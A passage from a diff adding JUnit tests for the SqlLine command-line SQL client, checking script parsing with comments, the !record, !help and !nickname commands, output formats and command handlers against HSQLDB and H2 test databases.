+    return createTempFile(prefix, suffix, null);
+  }
+
+  private File createTempFile(String prefix, String suffix, Path directory) {
+    try {
+      final File file = directory == null
+          ? Files.createTempFile(prefix, suffix).toFile()
+          : Files.createTempFile(directory, prefix, suffix).toFile();
+      file.deleteOnExit();
+      return file;
+    } catch (IOException e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testMultilineScriptWithComments() {
+    final String script1Text =
+        "!set incremental true\n"
+        + "-- a comment  \n values\n--comment\n (\n1\n, ' ab'\n--comment\n)\n;\n";
+
+    checkScriptFile(script1Text, true,
+        equalTo(SqlLine.Status.OK),
+        containsString("+-------------+-----+\n"
+            + "|     C1      | C2  |\n"
+            + "+-------------+-----+\n"
+            + "| 1           |  ab |\n"
+            + "+-------------+-----+"));
+
+    final String script2Text =
+        "!set incremental true\n"
+        + "--comment \n --comment2 \nvalues (';\n' /* comment */, '\"'"
+        + "/*multiline;\n ;\n comment*/)\n -- ; \n; -- comment";
+
+    checkScriptFile(script2Text, true,
+        equalTo(SqlLine.Status.OK),
+        containsString("+-----+----+\n"
+            + "| C1  | C2 |\n"
+            + "+-----+----+\n"
+            + "| ; \n"
+            + " | \"  |\n"
+            + "+-----+----+"));
+  }
+
+  /**
+   * Attempt to execute a simple script file with the -f option to SqlLine.
+   * Test for presence of an expected pattern
+   * in the output (stdout or stderr), fail if not found.
+   */
+  @Test
+  public void testPositiveScriptFile() {
+    checkScriptFile("call 100 + 23;\n",
+        true,
+        equalTo(SqlLine.Status.OK),
+        containsString(" 123 "));
+  }
+
+  /**
+   * As above, but using '-run' rather than '-f'.
+   */
+  @Test
+  public void testPositiveScriptFileUsingRun() {
+    checkScriptFile("call 100 + 23;\n",
+        false,
+        equalTo(SqlLine.Status.OK),
+        containsString(" 123 "));
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/42">[SQLLINE-42],
+   * Script fails if first line is a comment</a>.
+   */
+  @Test
+  public void testScriptFileStartsWithComment() {
+    final String scriptText = "-- a comment\n"
+        + "call 100 + 23;\n";
+    checkScriptFile(scriptText, true,
+        equalTo(SqlLine.Status.OK),
+        containsString(" 123 "));
+  }
+
+  @Test
+  public void testScriptFileStartsWithEmptyLine() {
+    final String scriptText = "\n"
+        + "call 100 + 23;\n";
+    checkScriptFile(scriptText, true,
+        equalTo(SqlLine.Status.OK),
+        containsString(" 123 "));
+  }
+
+  @Test
+  public void testScriptFileContainsComment() {
+    final String scriptText = "values 10 + 23;\n"
+        + "-- a comment\n"
+        + "values 100 + 23";
+    checkScriptFile(scriptText, true,
+        equalTo(SqlLine.Status.OK),
+        allOf(containsString(" 33 "), containsString(" 123 ")));
+  }
+
+  @Test
+  public void testMultilineScriptFileWithComments() {
+    final String scriptText = "--comment\n\n"
+        + "values \n10 \n+ \n23;\n\n\n"
+        + "-- a comment\n"
+        + "\n\nvalues "
+            + "--comment inside\n\n"
+            + "100 --comment inside\n\n"
+            + "+ \n\n23\n\n\n;\n\n\n\n";
+    checkScriptFile(scriptText, true,
+        equalTo(SqlLine.Status.OK),
+        allOf(containsString(" 33 "), containsString(" 123 ")));
+  }
+
+  @Test
+  public void testMultilineScriptFileWithMultilineQuotedStrings() {
+    final String scriptText = "--comment\n\n"
+        + "values '\nmultiline;\n;\n; string\n'"
+        + ";\n\n\n"
+        + "values '\nmultiline2;\n;\n; string2\n'"
+        + ";\n\n\n";
+    checkScriptFile(scriptText, true,
+        equalTo(SqlLine.Status.OK),
+        allOf(containsString("multiline2;"), containsString("; string2")));
+  }
+
+  @Test
+  public void testScriptWithMultilineStatementsInARow() {
+    final String scriptText = "!set incremental false\n"
+        + "--comment\n\n"
+        + "values 1;values 2;";
+    checkScriptFile(scriptText, true,
+        equalTo(SqlLine.Status.OK),
+        allOf(
+            containsString("+----+\n"
+                + "| C1 |\n"
+                + "+----+\n"
+                + "| 1  |\n"
+                + "+----+"),
+            containsString("+----+\n"
+                + "| C1 |\n"
+                + "+----+\n"
+                + "| 2  |\n"
+                + "+----+")));
+  }
+
+  @Test
+  public void testScriptWithMultilineStatementsAndCommentsInARow() {
+    final String scriptText = "!set incremental false\n"
+        + "--comment;;\n\n"
+        + "select * from (values ';') t (\";\");/*;select 1;*/values 2;";
+    checkScriptFile(scriptText, true,
+        equalTo(SqlLine.Status.OK),
+        allOf(
+            containsString("+---+\n"
+                + "| ; |\n"
+                + "+---+\n"
+                + "| ; |\n"
+                + "+---+"),
+            containsString("+----+\n"
+                + "| C1 |\n"
+                + "+----+\n"
+                + "| 2  |\n"
+                + "+----+")));
+  }
+  /**
+   * Tests sql with H2 specific one-line comment '//'
+   */
+  @Test
+  public void testMultilineScriptWithH2Comments() {
+    final SqlLine sqlLine = new SqlLine();
+    try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
+      final File tmpHistoryFile = createTempFile("queryToExecute", "temp");
+      try (BufferedWriter bw =
+               new BufferedWriter(
+                   new OutputStreamWriter(new FileOutputStream(tmpHistoryFile),
+                       StandardCharsets.UTF_8))) {
+        final String script = "\n"
+            + "\n"
+            + "!set incremental true\n"
+            + "\n"
+            + "\n"
+            + "select * from information_schema.tables// ';\n"
+            + "// \";"
+            + ";\n"
+            + "\n"
+            + "\n";
+        bw.write(script);
+        bw.flush();
+      }
+      SqlLine.Status status =
+          begin(sqlLine, os, false,
+              "-u", ConnectionSpec.H2.url,
+              "-n", ConnectionSpec.H2.username,
+              "--run=" + tmpHistoryFile.getAbsolutePath());
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      String output = os.toString("UTF8");
+      final String expected = "| TABLE_CATALOG | TABLE_SCHEMA |"
+          + " TABLE_NAME | TABLE_TYPE | STORAGE_TYPE | SQL  |";
+      assertThat(output, containsString(expected));
+      sqlLine.runCommands(new DispatchCallback(), "!quit");
+      assertTrue(sqlLine.isExit());
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /** Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/72">[SQLLINE-72]
+   * Allow quoted file names (including spaces) in <code>!record</code>,
+   * <code>!run</code> and <code>!script</code> commands</a>. */
+  @Test
+  public void testScriptFilenameWithSpace() {
+    final String scriptText = "values 10 + 23;\n"
+        + "-- a comment\n"
+        + "values 100 + 23;\n";
+    File scriptFile = createTempFile("Script with Spaces", ".sql");
+    try (PrintStream os = getPrintStream(new FileOutputStream(scriptFile))) {
+      os.print(scriptText);
+
+      Pair pair = runScript(scriptFile, true, null);
+      assertThat(pair.status, equalTo(SqlLine.Status.OK));
+      assertThat(pair.output,
+          allOf(containsString(" 33 "), containsString(" 123 ")));
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testScriptWithOutput() {
+    final String scriptText = "!set maxcolumnwidth 20\n"
+        + "!set incremental true\n"
+        + "values 100 + 123;\n"
+        + "-- a comment\n"
+        + "values 100 + 253;\n";
+
+    File scriptFile = createTempFile("Script file name", ".sql");
+    try (PrintStream os = getPrintStream(new FileOutputStream(scriptFile))) {
+      os.print(scriptText);
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+
+    File outputFile = createTempFile("testScriptWithOutput", ".out");
+    runScript(scriptFile, true, outputFile.getAbsolutePath());
+    assertFileContains(outputFile,
+        allOf(containsString("| 223                  |"),
+            containsString("| 353                  |")));
+    final boolean delete = outputFile.delete();
+    assertThat(delete, is(true));
+  }
+
+  /**
+   * Values that contain null.
+   */
+  @Test
+  public void testNull() {
+    final String script = "!set incremental true\n"
+        + "values (1, cast(null as integer), cast(null as varchar(3)));\n";
+    checkScriptFile(script, false,
+        equalTo(SqlLine.Status.OK),
+        containsString(
+            "+-------------+-------------+-----+\n"
+            + "|     C1      |     C2      | C3  |\n"
+            + "+-------------+-------------+-----+\n"
+            + "| 1           | null        |     |\n"
+            + "+-------------+-------------+-----+\n"));
+  }
+
+  @Test
+  public void testScan() {
+    final String expectedLine0 = "Compliant Version Driver Class";
+    final String expectedLine1 = "yes       2.4     org.hsqldb.jdbc.JDBCDriver";
+    checkScriptFile("!scan\n", false,
+        equalTo(SqlLine.Status.OK),
+        allOf(containsString(expectedLine0), containsString(expectedLine1)));
+  }
+
+  /**
+   * Table output without header.
+   */
+  @Test
+  public void testTableOutputNullWithoutHeader() {
+    final String script = "!set showHeader false\n"
+        + "!set incremental true\n"
+        + "values (1, cast(null as integer), cast(null as varchar(3)));\n";
+    checkScriptFile(script, false,
+        equalTo(SqlLine.Status.OK),
+        containsString("| 1           | null        |     |\n"));
+  }
+
+  /**
+   * Csv output without header.
+   */
+  @Test
+  public void testCsvNullWithoutHeader() {
+    final String script = "!set showHeader false\n"
+        + "!set outputformat csv\n"
+        + "values (1, cast(null as integer), cast(null as varchar(3)));\n";
+    checkScriptFile(script, false,
+        equalTo(SqlLine.Status.OK),
+        containsString("'1','null',''\n"));
+  }
+
+  /**
+   * Tests the "close" command,
+   * <a href="https://issues.apache.org/jira/browse/HIVE-5768">[HIVE-5768]
+   * Beeline connection cannot be closed with '!close' command</a> and
+   * <a href="https://github.com/julianhyde/sqlline/issues/139">[SQLLINE-139]
+   * Look for the exact match if there are multiple matches</a>.
+   */
+  @Test
+  public void testClose() {
+    final String expected = "!close\n"
+        + "Closing: org.hsqldb.jdbc.JDBCConnection";
+    checkScriptFile("!close\n", false, equalTo(SqlLine.Status.OK),
+        containsString(expected));
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/32">[SQLLINE-32]
+   * !help set' should print documentation for all variables</a>.
+   */
+  @Test
+  public void testHelpSet() {
+    final String expected = "1/1          !help set\n"
+        + "!set                List / set a sqlline variable\n"
+        + "\n"
+        + "Variables:\n"
+        + "\n"
+        + "Variable        Value      Description\n"
+        + "=============== ========== "
+        + "==================================================\n"
+        + "autoCommit      true/false "
+        + "Enable/disable automatic transaction commit\n"
+        + "autoSave        true/false Automatically save preferences\n";
+    checkScriptFile("!help set\n", false, equalTo(SqlLine.Status.OK),
+        containsString(expected));
+
+    // Make sure that each variable (autoCommit, autoSave, color, etc.) has a
+    // line in the output of '!help set'
+    final SqlLine sqlLine = new SqlLine();
+    String help = sqlLine.loc("help-set")
+        + sqlLine.loc("variables");
+
+    final TreeSet<String> propertyNamesMixed =
+        Arrays.stream(BuiltInProperty.values())
+            .map(BuiltInProperty::propertyName)
+            .collect(Collectors.toCollection(TreeSet::new));
+    for (String p : propertyNamesMixed) {
+      assertThat(help, containsString("\n" + p + " "));
+    }
+    assertThat(propertyNamesMixed.contains("autoCommit"),
+        is(true));
+    assertThat(propertyNamesMixed.contains("autocommit"),
+        is(false));
+    assertThat(propertyNamesMixed.contains("trimScripts"),
+        is(true));
+
+    while (help.length() > 0) {
+      int i = help.indexOf("\n", 1);
+      if (i < 0) {
+        break;
+      }
+      if (i > 78) {
+        fail("line exceeds 78 chars: " + i + ": " + help.substring(0, i));
+      }
+      help = help.substring(i);
+    }
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/39">[SQLLINE-39]
+   * 'help set' should not break long lines</a>.
+   *
+   * <p>But it should break 'help all', which consists of a single long line.
+   */
+  @Test
+  public void testHelpAll() {
+    // Note that "connections" has been broken onto a new line.
+    final String expected = "1/1          !help all\n"
+        + "!all                Execute the specified SQL against all the current\n"
+        + "                    connections\n"
+        + "Closing: org.hsqldb.jdbc.JDBCConnection\n"
+        + "sqlline version ???\n";
+    checkScriptFile("!help all\n", false, equalTo(SqlLine.Status.OK),
+        is(expected));
+  }
+
+  /**
+   * Tests "!go &lt;non-existent connection indexes&gt;".
+   */
+  @Test
+  public void testGoFailing() {
+    final String[] connectionIndexes = {"321", "invalid"};
+    for (String connectionIndex : connectionIndexes) {
+      final String script = "!go " + connectionIndex + "\n";
+      final String expected = "Invalid connection: " + connectionIndex;
+      checkScriptFile(script, false,
+          // Status.OTHER as checking of fail cases
+          equalTo(SqlLine.Status.OTHER), containsString(expected));
+    }
+  }
+
+  /**
+   * Tests "!help go". "go" and "#" are synonyms.
+   */
+  @Test
+  public void testHelpGo() {
+    for (String c : new String[] {"go", "#"}) {
+      final String expected = "1/1          !help " + c + "\n"
+          + "!go                 Select the current connection\n"
+          + "Closing: org.hsqldb.jdbc.JDBCConnection\n"
+          + "sqlline version ???\n";
+      checkScriptFile("!help " + c + "\n", false, equalTo(SqlLine.Status.OK),
+          is(expected));
+    }
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/121">!?, !#
+   * and other one-symbol length commands stopped working</a>
+   *
+   * <p>'!?' should work in the same way as '!help'.
+   */
+  @Test
+  public void testHelpAsQuestionMark() {
+    final String script = "!?\n";
+    final String expected =
+        "!autocommit         Set autocommit mode on or off";
+    checkScriptFile(script, false,
+        equalTo(SqlLine.Status.OK),
+        allOf(not(containsString("Unknown command: ?")),
+            containsString(expected)));
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/49">[SQLLINE-49]
+   * !manual command fails</a>.
+   */
+  @Test
+  public void testManual() {
+    final String expectedLine = "sqlline version";
+    try (ByteArrayOutputStream baos = new ByteArrayOutputStream()) {
+      new MockUp<Commands>() {
+        @Mock
+        void less(Terminal terminal, InputStream in, PrintStream out,
+            PrintStream err, Path currentDir, String[] argv) {
+        }
+      };
+
+      SqlLine beeLine = new SqlLine();
+      SqlLine.Status status =
+          begin(beeLine, baos, false, "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      beeLine.runCommands(new DispatchCallback(), "!manual");
+      String output = baos.toString("UTF8");
+
+      assertThat(output, containsString(expectedLine));
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /** Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/38">[SQLLINE-38]
+   * Expand ~ to user's home directory</a>. */
+  @Test
+  public void testRunFromHome() {
+    try {
+      Path tmpDir =
+          Files.createTempDirectory(
+              Paths.get(System.getProperty("user.home")),
+              "tmpdir" + System.nanoTime());
+      tmpDir.toFile().deleteOnExit();
+
+      File tmpFile = createTempFile("test", ".sql", tmpDir);
+      try (Writer fw = new OutputStreamWriter(
+          new FileOutputStream(tmpFile), StandardCharsets.UTF_8)) {
+        fw.write("!set outputformat csv\n");
+        fw.write("values (1, 2, 3, 4, 5);");
+        fw.flush();
+        checkScriptFile("!run ~" + File.separatorChar
+                + tmpDir.getFileName()
+                + File.separatorChar + tmpFile.getName().toString(),
+            false,
+            equalTo(SqlLine.Status.OK),
+            allOf(containsString("!set outputformat csv"),
+                containsString("values (1, 2, 3, 4, 5);")));
+      }
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/26">[SQLLINE-26]
+   * Flush output for each command when using !record command</a>.
+   */
+  @Test
+  public void testRecord() {
+    File file = createTempFile("sqlline", ".log");
+    final String script = "!set incremental true\n"
+        + "values 1;\n"
+        + "!record " + file.getAbsolutePath() + "\n"
+        + "!set outputformat csv\n"
+        + "values 2;\n"
+        + "!record\n"
+        + "!set outputformat csv\n"
+        + "values 3;\n";
+    checkScriptFile(script, false,
+        equalTo(SqlLine.Status.OK),
+        RegexMatcher.of("(?s)1/8          !set incremental true\n"
+                + "2/8          values 1;\n"
+                + "\\+-------------\\+\n"
+                + "\\|     C1      \\|\n"
+                + "\\+-------------\\+\n"
+                + "\\| 1           \\|\n"
+                + "\\+-------------\\+\n"
+                + "1 row selected \\([0-9.,]+ seconds\\)\n"
+                + "3/8          !record .*.log\n"
+                + "Saving all output to \".*.log\". Enter \"record\" with no arguments to stop it.\n"
+                + "4/8          !set outputformat csv\n"
+                + "5/8          values 2;\n"
+                + "'C1'\n"
+                + "'2'\n"
+                + "1 row selected \\([0-9.,]+ seconds\\)\n"
+                + "6/8          !record\n"
+                + "Recording stopped.\n"
+                + "7/8          !set outputformat csv\n"
+                + "8/8          values 3;\n"
+                + "'C1'\n"
+                + "'3'\n"
+                + "1 row selected \\([0-9.,]+ seconds\\)\n.*"));
+
+    // Now check that the right stuff got into the file.
+    assertFileContains(file,
+        RegexMatcher.of("Saving all output to \".*.log\". "
+            + "Enter \"record\" with no arguments to stop it.\n"
+            + "4/8          !set outputformat csv\n"
+            + "5/8          values 2;\n"
+            + "'C1'\n"
+            + "'2'\n"
+            + "1 row selected \\([0-9.,]+ seconds\\)\n"
+            + "6/8          !record\n"));
+  }
+
+  /** Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/62">[SQLLINE-62]
+   * Expand ~ to user's home directory</a>. */
+  @Test
+  public void testRecordHome() {
+    File home = new File(System.getProperty("user.home"));
+    File file;
+    for (int i = 0;; i++) {
+      file = new File(home, "sqlline" + i + ".log");
+      if (!file.exists()) {
+        break;
+      }
+    }
+    file.deleteOnExit();
+    final String s = "Saving all output to \".*.log\". "
+        + "Enter \"record\" with no arguments to stop it.\n"
+        + "2/4          !set outputformat csv\n"
+        + "3/4          values 2;\n"
+        + "'C1'\n"
+        + "'2'\n"
+        + "1 row selected \\([0-9.,]+ seconds\\)\n"
+        + "4/4          !record\n";
+    checkScriptFile("!record " + file.getAbsolutePath() + "\n"
+            + "!set outputformat csv\n"
+            + "values 2;\n"
+            + "!record\n",
+        false,
+        equalTo(SqlLine.Status.OK),
+        RegexMatcher.of("(?s)1/4          !record .*.log\n"
+            + s
+            + "Recording stopped.\n"
+            + ".*"));
+
+    // Now check that the right stuff got into the file.
+    assertFileContains(file, RegexMatcher.of(s));
+    final boolean delete = file.delete();
+    assertThat(delete, is(true));
+  }
+
+  /**
+   * As {@link #testRecord()}, but file name is double-quoted and contains a
+   * space.
+   */
+  @Test
+  public void testRecordFilenameWithSpace() {
+    File file = createTempFile("sqlline file with spaces", ".log");
+    final String script = "!set incremental true\n"
+        + "values 1;\n"
+        + "!record " + file.getAbsolutePath() + "\n"
+        + "!set outputformat csv\n"
+        + "values 2;\n"
+        + "!record\n"
+        + "!set outputformat csv\n"
+        + "values 3;\n";
+    checkScriptFile(script, false,
+        equalTo(SqlLine.Status.OK),
+        RegexMatcher.of("(?s)1/8          !set incremental true\n"
+            + "2/8          values 1;\n"
+            + "\\+-------------\\+\n"
+            + "\\|     C1      \\|\n"
+            + "\\+-------------\\+\n"
+            + "\\| 1           \\|\n"
+            + "\\+-------------\\+\n"
+            + "1 row selected \\([0-9.,]+ seconds\\)\n"
+            + "3/8          !record .*.log\n"
+            + "Saving all output to \".*.log\". Enter \"record\" with no arguments to stop it.\n"
+            + "4/8          !set outputformat csv\n"
+            + "5/8          values 2;\n"
+            + "'C1'\n"
+            + "'2'\n"
+            + "1 row selected \\([0-9.,]+ seconds\\)\n"
+            + "6/8          !record\n"
+            + "Recording stopped.\n"
+            + "7/8          !set outputformat csv\n"
+            + "8/8          values 3;\n"
+            + "'C1'\n"
+            + "'3'\n"
+            + "1 row selected \\([0-9.,]+ seconds\\)\n.*"));
+
+    // Now check that the right stuff got into the file.
+    assertFileContains(file,
+        RegexMatcher.of("Saving all output to \".*.log\". "
+            + "Enter \"record\" with no arguments to stop it.\n"
+            + "4/8          !set outputformat csv\n"
+            + "5/8          values 2;\n"
+            + "'C1'\n"
+            + "'2'\n"
+            + "1 row selected \\([0-9.,]+ seconds\\)\n"
+            + "6/8          !record\n"));
+  }
+
+  private static void assertFileContains(File file, Matcher<String> matcher) {
+    try (BufferedReader br = new BufferedReader(
+        new InputStreamReader(new FileInputStream(file),
+            StandardCharsets.UTF_8.name()))) {
+      final StringWriter stringWriter = new StringWriter();
+      for (;;) {
+        final String line = br.readLine();
+        if (line == null) {
+          break;
+        }
+        stringWriter.write(line);
+        stringWriter.write("\n");
+      }
+      assertThat(toLinux(stringWriter.toString()), matcher);
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/61">[SQLLINE-61]
+   * Add !nickname command</a>.
+   */
+  @Test
+  public void testNickname() {
+    final String script = "!set outputformat csv\n"
+        + "values 1;\n"
+        + "!nickname foo\n"
+        + "values 2;\n";
+    final String expected = "(?s)1/4          !set outputformat csv\n"
+        + "2/4          values 1;\n"
+        + "'C1'\n"
+        + "'1'\n"
+        + "1 row selected \\([0-9.,]+ seconds\\)\n"
+        + "3/4          !nickname foo\n"
+        + "4/4          values 2;\n"
+        + "'C1'\n"
+        + "'2'\n"
+        + "1 row selected \\([0-9.,]+ seconds\\)\n.*";
+    checkScriptFile(script, false, equalTo(SqlLine.Status.OK),
+        RegexMatcher.of(expected));
+  }
+
+  /**
+   * Attempts to execute a simple script file with the -f option to SqlLine.
+   * The first command should fail and the second command should not execute.
+   */
+  @Test
+  public void testBreakOnErrorScriptFile() {
+    checkScriptFile("select * from abcdefg01;\ncall 100 + 23;\n",
+        true,
+        equalTo(SqlLine.Status.OTHER),
+        not(containsString(" 123 ")));
+  }
+
+  /**
+   * Emulation of Apache Hive behavior with throwing exceptions
+   * while calling {@link DatabaseMetaData#storesUpperCaseIdentifiers()}
+   * and {@link DatabaseMetaData#supportsTransactionIsolationLevel(int)}.
+   *
+   * <p>Also please see
+   * <a href="https://github.com/julianhyde/sqlline/issues/183">[SQLLINE-183]</a>.
+   *
+   * @param meta Mocked JDBCDatabaseMetaData
+   */
+  @Test
+  public void testExecutionWithNotSupportedMethods(
+      @Mocked final JDBCDatabaseMetaData meta) {
+    try {
+      new Expectations() {
+        {
+          // prevent calls to functions that also call resultSet.next
+          meta.getDatabaseProductName();
+          result = "hsqldb";
+          // prevent calls to functions that also call resultSet.next
+          meta.getDatabaseProductVersion();
+          result = "1.0";
+
+          // emulate apache hive behavior
+          meta.supportsTransactionIsolationLevel(4);
+          result = new SQLException("Method not supported");
+        }
+      };
+      SqlLine sqlLine = new SqlLine();
+      ByteArrayOutputStream os = new ByteArrayOutputStream();
+      PrintStream sqllineOutputStream =
+          new PrintStream(os, false, StandardCharsets.UTF_8.name());
+      sqlLine.setOutputStream(sqllineOutputStream);
+      sqlLine.setErrorStream(sqllineOutputStream);
+      String[] args = {
+          "-d",
+          "org.hsqldb.jdbcDriver",
+          "-u",
+          "jdbc:hsqldb:res:scott",
+          "-n",
+          "SCOTT",
+          "-p",
+          "TIGER"
+      };
+      DispatchCallback dc = new DispatchCallback();
+      sqlLine.initArgs(args, dc);
+      os.reset();
+      sqlLine.runCommands(dc,
+          "!set incremental true",
+          "values 1;");
+      final String output = os.toString("UTF8");
+      final String line0 = "+-------------+";
+      final String line1 = "|     C1      |";
+      final String line2 = "+-------------+";
+      final String line3 = "| 1           |";
+      final String line4 = "+-------------+";
+      assertThat(output,
+          CoreMatchers.allOf(containsString(line0),
+              containsString(line1),
+              containsString(line2),
+              containsString(line3),
+              containsString(line4)));
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  @Test
+  public void testExecutionException(@Mocked final JDBCDatabaseMetaData meta,
+      @Mocked final JDBCResultSet resultSet) {
+    try {
+      new Expectations() {
+        {
+          // prevent calls to functions that also call resultSet.next
+          meta.getDatabaseProductName();
+          result = "hsqldb";
+          // prevent calls to functions that also call resultSet.next
+          meta.getSQLKeywords();
+          result = "";
+          // prevent calls to functions that also call resultSet.next
+          meta.getDatabaseProductVersion();
+          result = "1.0";
+          // Generate an exception on a call to resultSet.next
+          resultSet.next();
+          result = new SQLException("Generated Exception.");
+        }
+      };
+      SqlLine sqlLine = new SqlLine();
+      ByteArrayOutputStream os = new ByteArrayOutputStream();
+      PrintStream sqllineOutputStream =
+          new PrintStream(os, false, StandardCharsets.UTF_8.name());
+      sqlLine.setOutputStream(sqllineOutputStream);
+      sqlLine.setErrorStream(sqllineOutputStream);
+      String[] args = {
+          "-d",
+          "org.hsqldb.jdbcDriver",
+          "-u",
+          "jdbc:hsqldb:res:scott",
+          "-n",
+          "SCOTT",
+          "-p",
+          "TIGER"
+      };
+      DispatchCallback callback = new DispatchCallback();
+      sqlLine.initArgs(args, callback);
+      // If sqlline is not initialized, handleSQLException will print
+      // the entire stack trace.
+      // To prevent that, forcibly set init to true.
+      FieldReflection.setFieldValue(
+          sqlLine.getClass().getDeclaredField("initComplete"), sqlLine, true);
+      sqlLine.getConnection();
+      sqlLine.runCommands(callback,
+          "CREATE TABLE rsTest ( a int);",
+          "insert into rsTest values (1);",
+          "insert into rsTest values (2);",
+          "select a from rsTest; ");
+      String output = os.toString("UTF8");
+      assertThat(output, containsString("Generated Exception"));
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /**
+   * Attempts to execute a missing script file with the -f option to SqlLine.
+   */
+  @Test
+  public void testNegativeScriptFile() {
+    // Create and delete a temp file
+    File scriptFile = createTempFile("sqllinenegative", "temp");
+    final boolean delete = scriptFile.delete();
+    assertThat(delete, is(true));
+
+    Pair pair = runScript(scriptFile, true, null);
+    assertThat(pair.status, equalTo(SqlLine.Status.OTHER));
+    assertThat(pair.output, not(containsString(" 123 ")));
+  }
+
+  /** Displays usage. */
+  @Test
+  public void testUsage() {
+    Pair pair = run("--help");
+    assertThat(pair.status, equalTo(SqlLine.Status.ARGS));
+    assertThat(pair.output, containsString("-f <file>"));
+    assertThat(countUsage(pair.output), equalTo(1));
+  }
+
+  private int countUsage(String output) {
+    int n = 0;
+    for (String line : output.split("\n")) {
+      if (line.contains("Usage")) {
+        ++n;
+      }
+    }
+    return n;
+  }
+
+  /** Invalid arguments. */
+  @Test
+  public void testInvalidArguments() {
+    Pair pair = run("--fuzz");
+    assertThat(pair.status, equalTo(SqlLine.Status.ARGS));
+    assertThat(pair.output, containsString("-f <file>"));
+    assertThat(countUsage(pair.output), equalTo(1));
+  }
+
+  /** Result of executing sqlline: status code and output. */
+  static class Pair {
+    final SqlLine.Status status;
+    final String output;
+
+    Pair(SqlLine.Status status, String output) {
+      this.status = status;
+      this.output = output;
+    }
+  }
+
+  @Test
+  public void testIsolationSetting() {
+    final String script0 = "!isolation TRANSACTION_NONE\n";
+    final String expected = "Transaction isolation level TRANSACTION_NONE "
+        + "is not supported. Default (TRANSACTION_READ_COMMITTED) "
+        + "will be used instead.";
+    checkScriptFile(script0, true, equalTo(SqlLine.Status.OTHER),
+        containsString(expected));
+  }
+
+  @Test
+  public void testDefaultIsolation() {
+    final String script1 = "!isolation default\n";
+    checkScriptFile(script1, true, equalTo(SqlLine.Status.OK),
+        allOf(not(containsString("Transaction isolation level")),
+            not(containsString("is not supported"))));
+  }
+
+  /**
+   * HIVE-4566, "NullPointerException if typeinfo and nativesql commands are
+   * executed at beeline before a DB connection is established".
+   */
+  @Test
+  public void testNPE() {
+    SqlLine sqlLine = new SqlLine();
+
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    PrintStream sqllineOutputStream = getPrintStream(os);
+    sqlLine.setOutputStream(sqllineOutputStream);
+    sqlLine.setErrorStream(sqllineOutputStream);
+
+    try {
+      sqlLine.runCommands(new DispatchCallback(), "!typeinfo");
+      String output = os.toString("UTF8");
+      assertThat(
+          output, not(containsString("java.lang.NullPointerException")));
+      assertThat(output, containsString("No current connection"));
+
+      sqlLine.runCommands(new DispatchCallback(), "!nativesql");
+      output = os.toString("UTF8");
+      assertThat(
+          output, not(containsString("java.lang.NullPointerException")));
+      assertThat(output, containsString("No current connection"));
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testCommandHandlerOnStartup() {
+    SqlLine sqlLine = new SqlLine();
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    final String[] args = {
+        "-e", "!set maxwidth 80",
+        "-ch", "sqlline.extensions.HelloWorldCommandHandler"};
+    begin(sqlLine, os, false, args);
+
+    try {
+      sqlLine.runCommands(new DispatchCallback(), "!hello");
+      String output = os.toString("UTF8");
+      assertThat(output, containsString("HELLO WORLD"));
+      os.reset();
+      sqlLine.runCommands(new DispatchCallback(), "!test");
+      output = os.toString("UTF8");
+      assertThat(output, containsString("HELLO WORLD"));
+      os.reset();
+      sqlLine.runCommands(new DispatchCallback(), "!help hello");
+      output = os.toString("UTF8");
+      assertThat(output, containsString("help for hello test"));
+      sqlLine.runCommands(new DispatchCallback(), "!quit");
+      assertTrue(sqlLine.isExit());
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testCommandHandler() {
+    SqlLine sqlLine = new SqlLine();
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    begin(sqlLine, os, false, "-e", "!set maxwidth 80");
+
+    try {
+      final String script = "!commandhandler"
+          + " sqlline.extensions.HelloWorld2CommandHandler"
+          + " sqlline.extensions.HelloWorldCommandHandler";
+      sqlLine.runCommands(new DispatchCallback(), script);
+      sqlLine.runCommands(new DispatchCallback(), "!hello");
+      String output = os.toString("UTF8");
+      assertThat(output, containsString("HELLO WORLD2"));
+      final String expected = "Could not add command handler "
+          + "sqlline.extensions.HelloWorldCommandHandler as one of commands "
+          + "[hello, test] is already present";
+      assertThat(output, containsString(expected));
+      os.reset();
+      sqlLine.runCommands(new DispatchCallback(), "!help hello");
+      output = os.toString("UTF8");
+      assertThat(output, containsString("help for hello2"));
+      sqlLine.runCommands(new DispatchCallback(), "!quit");
+      assertTrue(sqlLine.isExit());
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testTablesCsv() {
+    final String script = "!set outputformat csv\n"
+        + "!tables\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
